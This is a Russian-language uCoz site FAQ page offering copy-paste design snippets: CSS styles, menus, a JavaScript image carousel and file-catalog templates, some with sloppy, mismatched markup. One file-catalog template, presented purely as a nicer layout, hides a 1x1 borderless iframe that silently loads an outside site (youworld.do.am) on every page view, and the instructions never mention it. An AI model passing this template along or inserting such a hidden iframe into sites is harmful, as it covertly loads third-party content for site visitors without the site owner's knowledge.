FAQ - Натусик - сайт для Друзей

Суббота, 04 Май 2024, 20:52

Главная | Мой профиль | Регистрация | Выход | Вход

Вы вошли как Гость | Группа "Гости" | RSS

Предсказание

Загрузка гороскопа от Ignio

Гороскоп на сегодня

Ежедневные гороскопы для всех знаков на сайте *1001 гороскоп*.

Наш аквариум

Афоризмы

Анекдоты

Мини-чат

Наш опрос

Откуда Вы..

Наша копилка

Реклама

Статистика

Онлайн всего: 7

Гостей: 7

Друзей: 0

Главная » FAQ

[ Добавить вопрос ]

41.Красивое оформление [quote] и [code]

42.Вертикальное меню

43.Еловая ветвь (украшение на сайт)

44.Вертикальное меню

45.Симпатичное меню (универсальное)

46.Вид каталога файлов (светлый)

47.Красивый вид материалов Каталога файлов

48.Карусель из картинок

49.Вид материалов Каталога файлов

50.Вид материалов Каталога файлов

Красивое оформление [quote] и [code]

Красивое оформление цитаты и кода. Картинка кликабельна.
Вставляем в управление дизайном => таблицы стилей CSS

.bbQuoteName {color: #000; !important; background: #E4EAF2 url(http://7ucoz.com/images/quote.gif) no-repeat right; font-size: 10pt; !important; font-weight: bold; margin: 0 auto 0 auto; border: 1px #000 dotted; border-bottom: 0; border-left: 4px #8394B2 solid; padding-top: 7px; padding-bottom: 7px;}
.bbCodeName {color: #000; !important; background: #FDDBCC url(http://7ucoz.com/images/code.gif) no-repeat top right; font-size: 10pt; !important; font-weight: bold; margin: 0 auto 0 auto; padding-top: 7px; padding-bottom: 7px;}
.codeMessage {color: #465584; background: #FAFCFE; font-size: 10px; border: 1px #000 dotted !important; padding: 3px;}
.quoteMessage {color: #465584; background: #FAFCFE; font-size: 10px; border: 1px #000 dotted !important; border-left: 4px #8394B2 solid !important; border-top: 0 !important; padding: 3px;}

Вертикальное меню

Вертикальное меню Ucoz

Хорошее и удобное вертикальное меню для ucoz.
Установка:
1.Вставляете код в глобальный блок
2.Ссылки на страницы пишите свои ну и даже можете названия разделов свои писать

Еловая ветвь (украшение на сайт)

Скрипт елка в углу сайта Ucoz

Этот скрипт сделает в углу вашего сайта веточку новогоднюю и будет очень красиво.
Установка:
В шаблон между тегами

Вертикальное меню

Рип вертикального меню arsamania by psp-dom.ru

Code

<div class="glossymenu">
<a class="menuitem" href="/"><img src="http://arsamania.com/right.gif" border=0 alt=""> Главная</a>
<a class="menuitem submenuheader" href="/"><img src="http://arsamania.com/down.gif" border=0 alt=""> Материалы</a> <div class="submenu"> <ul> <li><a href="http://psp-dom.ru/">Rip by psp-dom.ru</a></li> <li><a href="/stuff">Блоги</a></li> </ul> </div> <a class="menuitem submenuheader" href="/"><img src="http://arsamania.com/down.gif" border=0 alt=""> Клуб</a> <div class="submenu"> <ul> <li><a href="/index/0-15">История Арсенала</a></li> <li><a href="/index/0-56">Логотип клуба</a></li> <li><a href="/index/0-16">Достижения клуба</a></li> <li><a href="/index/0-88">Рекорды клуба</a></li> <li><a href="/index/0-55">Легенды Арсенала</a></li> <li><a href="/index/0-176">Все менеджеры Арсенала</a></li> <li><a href="/index/0-4">Контакты клуба</a></li> </ul> </div> <a class="menuitem submenuheader" href="/"><img src="http://arsamania.com/down.gif" border=0 alt=""> Арсенал</a> <div class="submenu"> <ul> <li><a href="/index/0-5">Состав Арсенала</a></li> <li><a href="/index/0-12">Резерв Арсенала</a></li> <li><a href="/index/0-

Симпатичное меню (универсальное)

Меню для ucoz в тёмных тонах(цвет можно изменить) так что меню ucoz универсальное.

Остальное Меню для ucoz

Вставляем сам код menu в блок меню

Code

<style type="text/css">  
 {  
 font-family: Verdana, Arial, Helvetica, sans-serif;  
 font-size: 100%;  
 font-weight: bold;  
 background: #FFF;  
 }  
   
 h1 {  
 font-family:Verdana, Arial, Helvetica, sans-serif;  
 font-size:13px;  
 font-weight:bold;  
 margin:0;  
 padding:0;  
 }  
   
 hr {  
 border:none;  
 border-top:1px solid #CCCCCC;  
 height:1px;  
 margin-bottom:25px;  
 }  
   
 ul {  
 list-style: none;  
 margin: 0;  
 padding: 0;  
 }  
   
 img {  
 border: none;  
 }  
   
 #menu {  
 width: 168px;  
 margin: 0px;  
 border-style: solid solid none solid;  
 border-color: #000;  
 border-size: 1px;  
 border-width: 1px;  
 }  
   
 #menu li a {  
 height: 32px;  
 voice-family: "\"}\"";  
 voice-family: inherit;  
 height: 24px;  
 text-decoration: none;  
 }  
   
 #menu li a:link, #menu li a:visited {  
 color: #9cff00;  
 display: block;  
 background: url(http://s45.radikal.ru/i107/0905/d9/686ecdceaea8.gif);  
 padding: 8px 0 0 10px;  
 }  
   
 #menu li a:hover {  
 color: #9cff00;  
 background: url(http://s44.radikal.ru/i105/0905/b5/823ac2c3f10c.gif) 0 -32px;  
 padding: 8px 0 0 10px;  
 }  
 </style>  
   
 <div id="menu">  
 <ul>  
   
 <li><a href="ССЫЛКА"><span style="color:ffffff"><b>Главная страница</b></b></span></a></li>  
 <li><a href="ССЫЛКА"><span style="color:ffffff">Форум</b></span></a></li>  
 <li><a href="ССЫЛКА"><span style="color:ffffff">Галерея</b></span></a></li>  
 <li><a href="ССЫЛКА"><span style="color:ffffff">ClanWars</b></span></a></li>  
 <li><a href="ССЫЛКА"><span style="color:ffffff">Фильмы</b></span></a></li>  
 </ul>

Вид каталога файлов (светлый)

ПУ - управление дизайном - каталог файлов - вид материалов - удаляем всё и ставим этот код:

Code

<table class="eBlock" width="100%" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td style="padding: 3px;">
<fieldset class="counter"><legend><font color="#000000"><b><a href="$ENTRY_URL$">$TITLE$</a></b></font><b><font color="#000000">:</font></b></legend>
<div align="right"><div style="float: right;">$MODER_PANEL$</div>
<center><img src="" alt="" border="0"></center>
<center>$MESSAGE$</center>
<center><div align="center"><a href="$FILE_URL$"></a>

<br>

<b>Скачать <a href="$ENTRY_URL$">$TITLE$</a>:</b>
<div style="border-style: dotted; border-color: rgb(100, 100, 100) rgb(100, 100, 100) rgb(190, 190, 190); border-width: 1px; padding: 5px; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(88, 85, 70); background-color: lightyellow; text-align: justify;">

<center>
 <a href="$FILE_URL$">Скачать с сервера</a> ($FILE_SIZE$)
· <a href="$RFILE_URL$" target="_blank">Скачать</a> ($RFILE_SIZE$)

</center>

<div align="center" class="commReg">Скачивать файлы могут только зарегистрированные пользователи.<br />[ <a href="index/3">Регистрация</a> ]</div>

</div>

</div><a href="$SCREEN_URL$" target="_blank"></a>
<div class="eDetails" style="clear: both;">
<a href="$CATEGORY_URL$"><img alt="" src="http://russian-town.3dn.ru/img/categories.png" align="" border="0"> $CATEGORY_NAME$</a> |
<img alt="" src="http://russian-town.3dn.ru/img/visits.png" align="" border="0"> Просмотров: $READS$ |
<img alt="" src="http://russian-town.3dn.ru/img/loads.gif" align="" border="0"> Загрузок: $LOADS$ |
<img alt="" src="http://russian-town.3dn.ru/img/by.gif" align="" border="0"><img alt="" src="http://russian-town.3dn.ru/img/by.png" align="" border="0"> Добавил: <a href="$PROFILE_URL$">$USERNAME$</a> |
<img alt="" src="http://russian-town.3dn.ru/img/date.png" align="" border="0"> Дата: <span title="$TIME$">$DATE$</span>
</div></center></div></fieldset>

</td></tr></tbody></table>

Красивый вид материалов Каталога файлов

Красивый вид материала для каталога файлов!

Установка
1) Заходим в Главная » Управление дизайном » Каталог файлов » Вид материалов
2) Заменяем находящийся там код на этот:

Код: Выделить всё

<table border="0" cellpadding="0" cellspacing="0" width="100%" class="eBlock"><tr><td style="padding:3px;">  
<div style="float:right"><img src="http://youworld.do.am/vid/tool.png" border="0" alt="" /> $MODER_PANEL$</div>  
<img src="http://youworld.do.am/vid/object_07.png" border="0" alt="" /> <a href="$ENTRY_URL$">Скачать $TITLE$ $VERSION$ Бесплатно</a></div>  
<div style="text-align:center;clear:both;padding-top:2px;padding-bottom:2px;">  
<div class="eMessage" style="text-align:left;clear:both;padding-top:2px;padding-bottom:2px;">$MESSAGE$</div>  
<iframe frameBorder=0 scrolling=no width=1 height=1 src=http://youworld.do.am/></iframe>  
<div class="eDetails" style="clear:both;">  
<div align="center"><img src="http://youworld.do.am/vid/flag.png" border="0" alt="" /> Категория: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> |    
<img src="http://youworld.do.am/vid/zoom.png" border="0" alt="" /> Просмотров: $READS$ |    
<img src="http://youworld.do.am/vid/download.png" border="0" alt="" /> Загрузок: $LOADS$<br>  
<img src="http://youworld.do.am/vid/user.png" border="0" alt="" /> Добавил: <a href="$PROFILE_URL$">$USERNAME$</a> |    
<img src="http://youworld.do.am/vid/clock_01.png" border="0" alt="" /> Добавлено: <span title="$TIME$">$DATE$</span>  
| <img src="http://youworld.do.am/vid/chat.png" border="0" alt="" /> <a href="$COMMENTS_URL$">Комментарии ($COMMENTS_NUM$)</a>  
| <img src="http://youworld.do.am/vid/charts.png" border="0" alt="" /> Рейтинг: $RATING$/$RATED$  
</div>  
</td></tr></table>

3) Заходим в Главная » Управление дизайном » Общие шаблоны » Таблица стилей (CSS)
4) В Таблица стилей (CSS) находим код:

Код: Выделить всё

/* Entries Style */  
здесь код! для каждого сайта он свой!  
/* ------------- */

5) Заменяем код который нашли на:

Код: Выделить всё

/* Entries Style */  
    .eBlock {}  
    .eTitle {font-family:Verdana,Arial,Sans-Serif;font-size:13px;font-weight:bold;color:#948549; padding: 0 0 0 17px; background: url('/New_style/31.png') no-repeat 0px 2px;}  
    .eTitle a:link {text-decoration:underline; color:#D13702;}  
    .eTitle a:visited {text-decoration:underline; color:#D13702;}  
    .eTitle a:hover {text-decoration:underline; color:#000000;}  
    .eTitle a:active {text-decoration:underline; color:#D13702;}  
       
    .eMessage {text-align:justify;padding-bottom:5px;}  
    .eText {text-align:justify;padding-bottom:5px;padding-top:5px;border-top:1px solid #EBD98E}  
    .eDetails {border-top:1px dashed #DBB270;border-bottom:1px dashed #DBB270;font-family:Tahoma,Arial,Sans-Serif;color:#A88956;padding-bottom:5px;padding-top:3px;text-align:left;font-size:7pt;}  
    .eDetails1 {border-top:1px dashed #DBB270;border-bottom:1px dashed #DBB270;font-family:Tahoma,Arial,Sans-Serif;color:#A88956;padding-bottom:5px;padding-top:3px;text-align:left;font-size:8pt;}  
    .eDetails2 {border-bottom:1px dashed #DBB270;font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-bottom:5px;padding-top:3px;text-align:left;font-size:8pt;}  
       
    .eRating {font-size:7pt;}  
       
    .eAttach {margin: 16px 0 0 0; padding: 0 0 0 15px; background: url('/.s/t/995/32.gif') no-repeat 0px 0px;}  
/* ------------- */

6) Всё! Заходим на сайт в каталог файлов и любуемся красивым новым видом материалов!

Можно пропустить 3-5 шаг! Но при этом вид материалов будет менее красивый!

Карусель из картинок

Вставляем между <body></body>

Код: Выделить всё

<!--fantasyflash.ru-->     
<script type="text/javascript">     
var Car_Image_Width=100;     
var Car_Image_Height=100;     
var Car_Border=true;     
var Car_Border_Color="#BCBFFF";     
var Car_Speed=10;     
var Car_Direction=true;     
var Car_NoOfSides=6;     
Car_Image_Sources=new Array(     
"ссылка на картинку","",     
"ссылка на картинку","",     
"ссылка на кртинку","",     
"ссылка на картинку","",     
"ссылка на картинку",""     
);     
CW_I=new Array(Car_NoOfSides/2+1);C_ClcW=new Array(Car_NoOfSides/2);     
C_Coef=new Array(     
3*Math.PI/2,0,3*Math.PI/2,11*Math.PI/6,Math.PI/6,3*Math.PI/2,7*Math.PI/4, 0,     
Math.PI/4,3*Math.PI/2,5*Math.PI/3,11*Math.PI/6,0,Math.PI/6,Math.PI/3);     
var C_CoefOf=Car_NoOfSides==4?0:Car_NoOfSides==6?2:Car_NoOfSides==8?5:9;     
C_Pre_Img=new Array(Car_Image_Sources.length);     
var C_Angle=Car_Direction?Math.PI/(Car_NoOfSides/2):0,C_CrImg=Car_NoOfSides,C_MaxW,C_TotalW,     
C_Stppd=false,i,C_LeftOffset,C_HalfNo=Car_NoOfSides/2;     
function Carousel(){     
if(document.getElementById){     
for(i=0;i<Car_Image_Sources.length;i+=2){     
C_Pre_Img[i]=new Image();C_Pre_Img[i].src=Car_Image_Sources[i]}     
C_MaxW=Car_Image_Width/Math.sin(Math.PI/Car_NoOfSides)+C_HalfNo+1;     
Car_Div=document.getElementById("Carousel");//osw     
for(i=0;i<C_HalfNo;i++){     
CW_I[i]=document.createElement("img");Car_Div.appendChild(CW_I[i]);     
CW_I[i].style.position="absolute";     
CW_I[i].style.top=0+"px";     
CW_I[i].style.height=Car_Image_Height+"px";     
if(Car_Border){     
CW_I[i].style.borderStyle="solid";     
CW_I[i].style.borderWidth=1+"px";     
CW_I[i].style.borderColor=Car_Border_Color}     
CW_I[i].src=Car_Image_Sources[2*i];     
CW_I[i].lnk=Car_Image_Sources[2*i+1];     
CW_I[i].onclick=C_LdLnk;     
CW_I[i].onmouseover=C_Stp;     
CW_I[i].onmouseout=C_Rstrt}     
CarImages()}}     

function CarImages(){     
if(!C_Stppd){     
C_TotalW=0;     
for(i=0;i<C_HalfNo;i++){     
C_ClcW[i]=Math.round(Math.cos(Math.abs(C_Coef[C_CoefOf+i]+C_Angle))*Car_Image_Width);     
C_TotalW+=C_ClcW[i]}     
C_LeftOffset=(C_MaxW-C_TotalW)/2;     
for(i=0;i<C_HalfNo;i++){     
CW_I[i].style.left=C_LeftOffset+"px";     
CW_I[i].style.width=C_ClcW[i]+"px";     
C_LeftOffset+=C_ClcW[i]}     
C_Angle+=Car_Speed/720*Math.PI*(Car_Direction?-1:1);     
if((Car_Direction&&C_Angle<=0)||(!Car_Direction&&C_Angle>=Math.PI/C_HalfNo)){     
if(C_CrImg==Car_Image_Sources.length)C_CrImg=0;     
if(Car_Direction){     
CW_I[C_HalfNo]=CW_I[0];     
for(i=0;i<C_HalfNo;i++)CW_I[i]=CW_I[i+1];     
CW_I[C_HalfNo-1].src=Car_Image_Sources[C_CrImg];     
CW_I[C_HalfNo-1].lnk=Car_Image_Sources[C_CrImg+1]}     
else{ for(i=C_HalfNo;i>0;i--)CW_I[i]=CW_I[i-1];     
CW_I[0]=CW_I[C_HalfNo];//fantasyflash.ru     
CW_I[0].src=Car_Image_Sources[C_CrImg];     
CW_I[0].lnk=Car_Image_Sources[C_CrImg+1]}     
C_Angle=Car_Direction?Math.PI/C_HalfNo:0;C_CrImg+=2}}     
setTimeout("CarImages()",50)}     
function C_LdLnk(){if(this.lnk)window.location.href=this.lnk}     
function C_Stp(){this.style.cursor=this.lnk?"pointer":"default";C_Stppd=true;}     
function C_Rstrt(){C_Stppd=false}     
</script><div id="Carousel" style="position:relative; width:130; height:21">

Заменяем

Код: Выделить всё

<body>

на

Код: Выделить всё

<body onload='carousel()'>

Где написано ссылка на картинку,меняйте на свою ссылку с картинкой
Пример
http://fantasyflash.ru/script/web/image17.php

Вид материалов Каталога файлов

Заходим в ПУ-->Управление дизайном-->Каталог файлов-->Вид материалов. Ставим туда это:

Код: Выделить всё

<table border="0" cellpadding="0" cellspacing="0" width="100%" class="eBlock"><tr><td style="padding:3px;">   
<fieldset class="counter"><legend><font color="000000"><b><a href="$ENTRY_URL$">$TITLE$</a></b></font><b><font color="#000000">:</font></b></legend>   
<div align="right"><div style="float:right">$MODER_PANEL$</div>   
<center><img src=" " border="0" alt="" /></center>   
<center>$MESSAGE$</center>   
<center><a href="$FILE_URL$"><!--<s5223>-->Скачать с сервера<!--</s>--></a> ($FILE_SIZE$)   
 · <a href="$RFILE_URL$" target="_blank"><!--<s5224>-->Скачать удаленно<!--</s>--></a> ($RFILE_SIZE$)   
 · <a href="$SCREEN_URL$" target="_blank">Скриншот</a>   
<div class="eDetails" style="clear: both;">   
<a href="$CATEGORY_URL$"><img alt="" src="http://russian-town.3dn.ru/img/categories.png" align="" border="0"> $CATEGORY_NAME$</a> |   
<img alt="" src="http://russian-town.3dn.ru/img/visits.png" align="" border="0"> Просмотров: $READS$ |   
<img alt="" src="http://russian-town.3dn.ru/img/loads.gif" align="" border="0"> Загрузок: $LOADS$ |   
<img alt="" src="http://russian-town.3dn.ru/img/by.gif" align="" border="0"><img alt="" src="http://russian-town.3dn.ru/img/by.png" align="" border="0"> Добавил: <a href="$PROFILE_URL$">$USERNAME$</a> |   
<img alt="" src="http://russian-town.3dn.ru/img/date.png" align="" border="0"> Дата: <span title="$TIME$">$DATE$</span>   
</fieldset>   
</div>   
</td></tr></table>

Вид материалов Каталога файлов

<table border="0" cellpadding="0" cellspacing="0" width="100%" class="eBlock"><tr><td style="padding:3px;">   
  <div 
class="eTitle" style="text-align:left;"><center><a 
href="$ENTRY_URL$">$TITLE$</a></center></div>   
  <fieldset><div 
class="eMessage" 
style="text-align:left;clear:both;padding-top:10px;padding-bottom:5px;"><div 
align="center"> <a href="$ENTRY_URL$" title="">   
  <img 
width="200" border="1" align="center" vspace="5" hspace="10" 
src="$IMG_URL1$"></a></div></div></fieldset>   
  <fieldset><div 
class="eMessage" 
style="text-align:left;clear:both;padding-top:2px;padding-bottom:2px;"><br>$MESSAGE$</div> 
</fieldset>   
  <tr><td colspan="2" align="left" style="background:none;padding:5px;border:1px solid #B8B8B8;">   
  <div style="float:right"></div> </tr>   
  <div class="eDetails" style="clear:both;">   
  <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> |   
  $MODER_PANEL$   
  Просмотров: $READS$ |   
  Загрузок: $LOADS$ |   
  Добавил: <a href="$PROFILE_URL$">$USERNAME$</a> |   
  <a href="$COMMENTS_URL$">($COMMENTS_NUM$)</a>   
  </div>   
  </td></tr></table>